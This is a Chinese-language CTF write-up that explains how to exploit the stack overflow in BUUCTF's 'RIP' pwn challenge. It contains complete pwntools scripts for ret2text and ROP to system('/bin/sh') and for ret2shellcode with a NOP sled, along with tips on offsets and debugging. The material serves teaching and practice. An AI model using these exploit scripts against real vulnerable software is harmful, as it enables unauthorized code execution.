1. 项目概述:从一道经典PWN题看栈溢出利用的“道”与“术”
最近在带新人入门CTF的二进制安全方向,发现很多朋友在BUUCTF平台做那道名为“RIP”的入门题时,虽然能理解栈溢出的基本概念,但在实际构造payload时总会遇到各种“玄学”问题。比如,明明算好了偏移,脚本一跑却拿不到shell;或者本地测试成功,远程一打就失败。这道题本身并不复杂,但它像一块试金石,能清晰地暴露出一个初学者从理论理解到实战应用之间的沟壑。今天,我就结合自己踩过的坑,详细拆解这道题两种核心的payload写法,并附上可直接复现的Python pwntools脚本。无论你是刚接触PWN的新手,还是想巩固基础的老手,相信这篇从实战中凝练的指南,能帮你把“栈溢出”这个知识点真正焊死在脑子里。我们不止讲“怎么做”,更要深挖“为什么这么做”,以及“哪种做法在什么场景下更优”。
2. 环境准备与题目静态分析
在动手写exp之前,充分的准备工作能避免后续很多无谓的折腾。这道题名为“rip”,通常指代控制指令指针寄存器,直指漏洞利用的核心目标。
2.1 题目文件获取与基础检查
首先,从BUUCTF平台下载题目附件,通常是一个名为pwn或rip的ELF可执行文件。拿到文件后,别急着运行,先用file命令看看它的基本信息:
file rip输出很可能是rip: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped。
这里有几个关键信息:64位程序、动态链接、没有去除符号表。64位意味着函数传参和栈帧结构与32位不同,这是我们构造payload时必须考虑的第一点。“not stripped”是个好消息,意味着调试时能看到函数名,分析起来更方便。
接着用checksec检查程序的安全编译选项:
checksec --file=rip典型的输出可能如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments这份“体检报告”至关重要:
- Stack: No canary found:栈上没有金丝雀保护。这是我们能进行栈溢出攻击的前提。如果有栈保护,我们需要先泄露或绕过canary,难度会大增。
- NX disabled:数据执行保护未开启。这意味着我们注入到栈上的shellcode可以被执行。如果NX开启,我们则需要转向ROP等不依赖执行栈上代码的技术。
- PIE: No PIE:地址随机化未开启。程序中函数和变量的地址是固定的,我们可以直接使用如
0x400000这样的绝对地址。如果PIE开启,所有地址在每次运行时都随机化,我们需要先泄露一个地址来计算基址。
注意:
checksec的结果是动态的,一定要以你实际下载的文件输出为准。但就“RIP”这道入门题而言,关闭这些保护是常态,旨在让学习者专注于理解溢出原理本身。
2.2 代码审计与漏洞点定位
由于程序没去符号,我们可以直接用objdump或readelf查看,或者拖到IDA、Ghidra等反编译工具里更直观。这里以快速命令行分析为例,寻找入口和可疑函数:
objdump -d rip | grep -A 20 "<main>"更常见的漏洞函数是gets,scanf,strcpy等不检查边界函数。我们可以搜索这些危险函数:
objdump -d rip | grep -E "gets|scanf|strcpy|read"假设我们找到了一个调用了gets的函数,比如vuln或main本身。用反编译工具查看其伪代码,通常会看到类似这样的结构:
void vuln() { char s[15]; // 或类似的小缓冲区 gets(s); // 危险函数,溢出点 puts(s); }或者直接在main里:
int main() { char buf[0xF]; // 15字节的缓冲区 gets(buf); return 0; }漏洞成因:gets函数会一直读取输入,直到遇到换行符或EOF,它完全不检查目标缓冲区的大小。如果我们的输入长度超过了为buf预留的栈空间(比如15字节),多出的数据就会覆盖栈上更高地址的内容,这其中就包括函数返回地址(Saved RIP)。
目标:我们的目标就是精确地控制被覆盖的返回地址,让它指向我们想要执行的代码,例如一个能获取shell的system("/bin/sh")调用,或者一块我们输入的shellcode。
2.3 计算精确偏移量
这是构造payload最关键的一步,错了后面全白搭。偏移量指的是从我们输入的缓冲区起始位置,到栈上保存的返回地址(RIP)之间的字节距离。
方法一:模式字符串生成与定位(推荐)使用cyclic工具(pwntools内置或单独安装)生成一段不易重复的字符串,输入给程序使其崩溃,然后根据崩溃时RIP寄存器的值反推偏移。
# 生成200个字符的模式串 cyclic 200 # 输出:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam...将这段字符串作为程序的输入(可以通过python管道或写在文件里)。程序崩溃后,查看崩溃时RIP的值(在GDB中看$rip寄存器)。假设$rip = 0x6161616a(‘jaaa’的十六进制ASCII)。然后:
cyclic -l 0x6161616a # 或 cyclic -l jaaa工具会告诉你这个值在模式串中的偏移位置,例如Offset: 23。这意味着在填满23个字节的垃圾数据后,下一个字节开始就会覆盖到RIP。
方法二:静态分析估算结合反编译看到的缓冲区大小(如char s[15])和汇编代码中栈帧布局来计算。在64位程序中,调用函数时,返回地址保存在[rbp+8]的位置。而缓冲区通常从[rbp-0x??]开始。所以偏移量 ≈ 缓冲区大小 +rbp到缓冲区起始的距离 + 8(覆盖掉旧的RBP本身)。这种方法不如动态调试准确,容易因编译器优化、栈对齐等因素出错,仅作为辅助验证。
实操心得:务必使用
cyclic动态验证偏移。我见过太多人静态算出来是“X”,一跑发现是“X+8”或“X-8”,就是因为没考虑栈对齐(Stack Alignment)或编译器预留的空间。对于这道题,偏移很可能是一个像23、27这样的值,记住它,我们马上要用。
3. 利用思路一:Ret2text(返回到程序本身代码)
这是最直接、最经典的利用方法,适用于程序中本身就有“后门”函数(如调用了system("/bin/sh")的函数)或者有现成的/bin/sh字符串和system调用的情况。
3.1 寻找可利用的代码与数据
首先,检查程序里有没有现成的“礼物”。用objdump或IDA搜索字符串:
strings rip | grep -i "/bin/sh"如果找到了/bin/sh字符串,记下它的地址,例如0x400123。
接着,寻找system函数的调用或它的PLT表地址。因为程序是动态链接的,system的地址会在运行时解析,但其在过程链接表(PLT)中的桩地址是固定的。
objdump -d rip | grep -E "system@plt|system" # 或 readelf -r rip | grep system假设找到system@plt的地址是0x400520。
更理想的情况是,程序里直接有一个这样的函数:
void shell() { system("/bin/sh"); }它的地址,假设是0x400567,就是我们完美的跳转目标。
3.2 构造Payload与栈帧布局
在64位Linux下,函数调用遵循System V AMD64 ABI约定。前六个整型或指针参数依次通过寄存器RDI, RSI, RDX, RCX, R8, R9传递,多余的才通过栈传递。所以,要调用system(“/bin/sh”),我们需要:
- 将字符串“/bin/sh”的地址放入
RDI寄存器。 - 跳转到
system函数的地址。
如果我们找到的shell()函数已经帮我们做好了这两件事,那payload构造就非常简单:
payload = b'A' * offset + p64(shell_addr)其中:
b'A' * offset是填充物,用于填满缓冲区直到覆盖RIP之前的所有空间。p64(shell_addr)是用pwntools的p64函数将地址打包成64位小端序字节串,它正好覆盖了栈上的返回地址。
当vuln函数执行ret指令时,会从栈顶弹出这个地址到RIP,CPU接下来就会去执行shell()函数里的代码。
如果没有现成的shell函数怎么办?我们需要自己构造一个简单的ROP链。这时需要寻找两个gadget:
pop rdi; ret:用于将/bin/sh的地址弹出到rdi寄存器。- 一个
ret指令用于链式调用(在64位系统中,为了满足栈对齐要求,有时需要在system地址前多加一个retgadget)。
使用工具ROPgadget来搜索:
ROPgadget --binary rip | grep "pop rdi"假设找到pop rdi; ret的地址是0x400123,/bin/sh字符串地址是0x400200,system@plt地址是0x400520。那么payload构造如下:
payload = b'A' * offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_plt)栈布局解析:
vuln函数ret后,RIP指向pop rdi; ret。pop rdi执行,将栈顶的下一个值(p64(bin_sh_addr))弹出到RDI寄存器,此时栈顶指向p64(system_plt)。pop rdi后的ret执行,跳转到system@plt。system函数开始执行,此时RDI寄存器里已经是/bin/sh的地址,因此成功调用system(“/bin/sh”)。
3.3 Python pwntools脚本实现(Ret2text)
下面是一个完整的、注释详细的利用脚本模板:
#!/usr/bin/env python3 from pwn import * # 导入pwntools # 设置上下文,指定架构和操作系统,这对pwntools生成shellcode和打包数据很重要 context(arch='amd64', os='linux') # 如果你在本地调试,可以用 process # p = process('./rip') # 如果是远程题目,用 remote # p = remote('node4.buuoj.cn', 12345) # 替换成实际地址和端口 # 这里以本地为例 p = process('./rip') # 1. 关键地址(需要根据你的实际分析结果修改!!!) offset = 23 # 用cyclic计算出的偏移量 shell_addr = 0x400123 # 假设的shell函数地址 # 或者,如果是ROP链: pop_rdi_ret = 0x400123 bin_sh_addr = 0x400200 system_plt = 0x400520 # 2. 构造Payload # 方案A:直接跳转到shell函数 payload = b'A' * offset + p64(shell_addr) # 方案B:使用ROP链(如果方案A没有现成函数) # payload = b'A' * offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_plt) # 3. 发送Payload print(f"[*] Sending payload length: {len(payload)}") p.sendline(payload) # sendline会在末尾自动加\n,相当于回车。如果程序用gets接收,这没问题。 # 4. 切换到交互模式,拿到shell后就可以手动输入命令了 p.interactive()注意事项:地址一定要替换成你自己分析出来的正确值!用
0x开头的十六进制表示。p64()函数会自动处理成小端序。在发送前打印payload长度是个好习惯,可以确认是否与预期一致。
4. 利用思路二:Ret2shellcode(返回到栈上代码)
当程序没有现成的system调用,或者你想更深入地理解“代码执行”的本质时,Ret2shellcode是另一种选择。其核心是将一段能打开shell的机器指令(shellcode)作为输入的一部分注入到内存中,然后让程序跳转到这段指令的起始地址去执行。
4.1 Shellcode的生成与放置
首先,我们需要一段shellcode。pwntools可以很方便地生成:
shellcode = asm(shellcraft.sh()) # 生成amd64 Linux下的execve(‘/bin/sh’, 0, 0) shellcode print(len(shellcode)) # 查看长度,通常44字节左右这段shellcode非常精简,其功能等同于执行execve(“/bin/sh”, NULL, NULL)。
接下来是关键:把这串指令放在哪里,并让程序跳转过去?最直观的想法是放在我们输入的缓冲区里。但这里有个陷阱:我们的输入(缓冲区)在栈上,而函数返回时,栈指针RSP会发生变化。我们需要知道shellcode在内存中的确切地址,才能用这个地址去覆盖RIP。
4.2 确定Shellcode的地址
这是Ret2shellcode方法最大的难点和不确定性来源。地址猜不准,程序就会跳到莫名其妙的地方崩溃。有几种思路:
- 通过调试获取近似地址:在GDB中,在
gets函数返回后、vuln函数返回前下断点,查看缓冲区起始地址(例如,$rbp-0x10)。这个地址在同一次运行、同一环境下是固定的。但问题在于,关闭ASLR时地址固定,开启ASLR或远程环境时,栈地址每次运行都可能变化。 - 利用栈地址泄露:如果程序在溢出前能打印出某个栈地址(比如缓冲区本身的地址),我们就可以计算出shellcode的相对位置。但这道题通常没有这种输出。
- NOP雪橇(NOP Sled):这是一种提高命中率的经典技术。我们在shellcode前面填充大量的
NOP指令(机器码为0x90,代表“无操作”)。只要EIP跳转到这片NOP区域的任何位置,CPU都会一路“滑行”直到执行到我们的shellcode。这大大增加了我们猜测的跳转地址的命中范围。
4.3 构造Payload与利用脚本
假设我们通过调试,估算出缓冲区起始地址大约在0x7fffffffe000附近(这只是一个例子,每次都可能不同)。我们采用NOP雪橇技术。
#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') p = process('./rip') offset = 23 # 偏移量 # 估算的缓冲区地址(这是一个需要反复尝试的“魔法数字”) buf_addr = 0x7fffffffe000 # 生成shellcode shellcode = asm(shellcraft.sh()) shellcode_len = len(shellcode) # 构造Payload nop_sled = b'\x90' * 100 # 100字节的NOP雪橇 # payload结构:[填充至RIP] + [跳转地址] + [NOP雪橇] + [shellcode] # 注意:跳转地址应该指向NOP雪橇区域内的某个地址,比如比估算的buf_addr稍大一点,确保落在雪橇内。 jump_addr = buf_addr + 50 # 指向雪橇中部 payload = b'A' * offset + p64(jump_addr) + nop_sled + shellcode print(f"[*] Shellcode length: {shellcode_len}") print(f"[*] Total payload length: {len(payload)}") print(f"[*] Jumping to address: {hex(jump_addr)}") p.sendline(payload) p.interactive()为什么这样布局?函数返回后,RIP被我们覆盖为jump_addr。CPU从那个地址开始执行,遇到的是0x90(NOP),什么都不做,只是将EIP加一,继续执行下一条指令,直到“滑”过所有NOP,紧接着就执行我们的shellcode。
致命陷阱与心得:Ret2shellcode在这道题上极不稳定,尤其是在远程环境下。原因如下:
- 栈地址随机化(ASLR):即使程序本身没开PIE,操作系统的栈地址随机化(ASLR)也可能是开启的。这导致每次运行,栈的基址都不同,我们很难猜中准确的
buf_addr。- 栈空间不可执行(NX):虽然这道题检查显示
NX disabled,但现代系统默认是开启NX的。如果NX开启,栈上的数据(包括我们的shellcode)只有读写权限,没有执行权限。CPU跳转过去会触发段错误(Segmentation Fault)。因此,对于这道“RIP”题以及大多数现代环境下的PWN题,Ret2text(或更广义的ROP)是远比Ret2shellcode可靠和通用的方法。Ret2shellcode更适合用于教学原理,或者在一些极端受限(如没有libc)且关闭了所有保护的古旧系统中。
5. 两种方法的对比与实战选择
现在我们对两种方法有了深入理解,来做一个清晰的对比,并给出实战选择策略。
| 特性 | Ret2text / ROP | Ret2shellcode |
|---|---|---|
| 核心原理 | 复用程序自身或库中的代码片段(gadget)拼凑出目标功能。 | 向进程内存注入并执行自定义的机器指令。 |
| 稳定性 | 高。依赖程序本身的固定地址,不受ASLR影响(PIE关闭时)。 | 低。严重依赖精确的内存地址,受栈ASLR和NX保护影响极大。 |
| 通用性 | 强。是现代二进制利用的主流技术,可对抗NX。通过构造复杂的ROP链能实现图灵完备。 | 弱。在现代操作系统默认安全设置下很难成功。 |
| 利用条件 | 需要程序中存在有用的gadget和字符串。 | 需要可预测且可执行的内存区域来放置shellcode。 |
| Payload长度 | 通常较短,主要是地址序列。 | 较长,包含NOP雪橇和shellcode本体。 |
| 学习价值 | 理解函数调用约定、栈帧布局、ROP链构造。 | 理解CPU执行本质、内存布局、shellcode编写。 |
对于BUUCTF “RIP”这道题,我们的选择非常明确:优先采用Ret2text方法。题目设计通常会在程序中预留shell函数或必要的gadget,目的是考察你对偏移计算和地址覆盖的基本掌握。Ret2shellcode在这种环境下更像是一个“理论练习”,用于理解漏洞利用的另一种可能性,但在实际攻击中条件过于苛刻。
实战步骤总结:
- 检查保护:
checksec确认NX关闭、PIE关闭,确保Ret2shellcode理论上可行,但Ret2text更稳。 - 寻找后门:用
strings和objdump找/bin/sh和system或直接找shell函数。 - 计算偏移:用
cyclic动态计算,这是铁律,不要静态猜。 - 构造ROP链(如果需要):找
pop rdi; ret和retgadget。 - 编写并调试脚本:先本地用
process()测试,确保能稳定拿到shell。 - 远程攻击:将脚本中的
process(‘./rip’)改为remote(‘题目主机’, 端口),地址通常不变(因为PIE没开)。
6. 常见问题与调试技巧实录
即使理解了原理,实际操作中还是会遇到各种问题。这里记录几个最常见的“坑”和解决方法。
6.1 偏移量计算总是出错
- 问题:用
cyclic生成的字符串导致程序崩溃,但cyclic -l查到的偏移量代入脚本后,无法控制RIP。 - 排查:
- 确认你发送的payload长度是否正确。
len(payload)应该等于offset + 8(64位地址是8字节)。 - 检查输入函数:程序用的是
gets还是scanf(“%s”)?还是read?gets会在遇到\n时停止,并将\n替换为\x00。scanf(“%s”)会在遇到空白字符时停止。这通常不影响偏移,但如果你payload里有空格或\x00,可能会被截断。确保payload里没有意外的\x00(p64()生成的地址高位可能是00)。 - 最可靠的验证方法:在脚本中发送
payload = b’A’*offset + b’BBBBBBBB’(8个B)。用GDB附加运行程序,在函数返回前(ret指令处)下断点,观察栈上即将被弹出到RIP的值是不是0x4242424242424242(‘B’的ASCII)。如果不是,说明偏移不对。
- 确认你发送的payload长度是否正确。
6.2 本地成功,远程失败
- 问题:本地用
./rip测试能拿到shell,但连接到远程服务器同样的payload却没反应或直接断开。 - 排查:
- 库文件差异:本地和远程的libc版本可能不同,导致
system函数的偏移或其他gadget地址不同。但“RIP”这类入门题通常不依赖libc地址,或者使用的函数地址是固定的(来自PLT)。首先检查你使用的地址是否是程序本身的地址(在0x400000或0x8048000附近),而不是libc中的地址。 - 栈对齐问题(64位常见):System V ABI要求函数调用时栈指针
RSP在调用瞬间必须16字节对齐。某些system的实现对此敏感。如果直接跳转到system@plt崩溃,可以尝试在system地址前加一个retgadget来调整栈指针。即把payload改成… + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_plt)。这个ret_addr就是一个只包含ret指令的gadget地址。 - 输入输出缓冲:远程连接可能存在缓冲。在发送payload后,尝试用
p.recvuntil(‘something’)或p.sendline(‘cat flag’)来触发交互。有时在p.interactive()前加一句p.clean()清空缓冲区也有用。 - 网络延迟与连接:确保远程地址和端口正确,网络通畅。可以尝试在脚本开头加
context.log_level = ‘debug’,查看详细的发送接收数据。
- 库文件差异:本地和远程的libc版本可能不同,导致
6.3 使用pwntools时遇到奇怪错误
AttributeError: ‘module’ object has no attribute ‘asm’:确保安装了pwntools且版本较新。有时需要指定上下文:context.binary = ‘./rip’。- GDB调试技巧:在脚本中,可以使用
gdb.attach(p)在发送payload前暂停并启动GDB调试。或者用p = gdb.debug(‘./rip’, gdbscript=’…’)来启动带调试的程序。这对于观察内存布局、验证地址非常有用。 - 地址打印:在脚本中多用
print(hex(address))来确认你使用的地址是否正确。
6.4 关于获取flag的最终步骤
成功拿到shell后,你处于一个交互式环境。常见的获取flag的方式有:
# 直接查看flag文件(通常叫flag、flag.txt、flag.php等) cat flag cat flag.txt # 如果不知道名字,可以列出目录 ls -la # 有时flag在当前目录,有时在根目录或父目录 cat /flag # 如果权限不够,可能需要提权,但这道题通常不需要如果cat被禁用,可以尝试more,less,head,tail,strings等命令。
最后,别忘了在脚本末尾关闭连接:p.close(),虽然交互模式下退出后会自动关闭。
这道“RIP”题就像二进制安全的“Hello World”,它剥离了复杂的保护机制,让你专注于最核心的栈溢出原理。掌握这两种payload的写法,特别是理解其背后的栈帧变化、寄存器控制和内存布局,是通往更高级PWN技术(如Ret2libc、堆利用、格式化字符串等)的坚实基石。多动手、多调试、多思考“为什么”,每一个坑踩过去,都是实实在在的进步。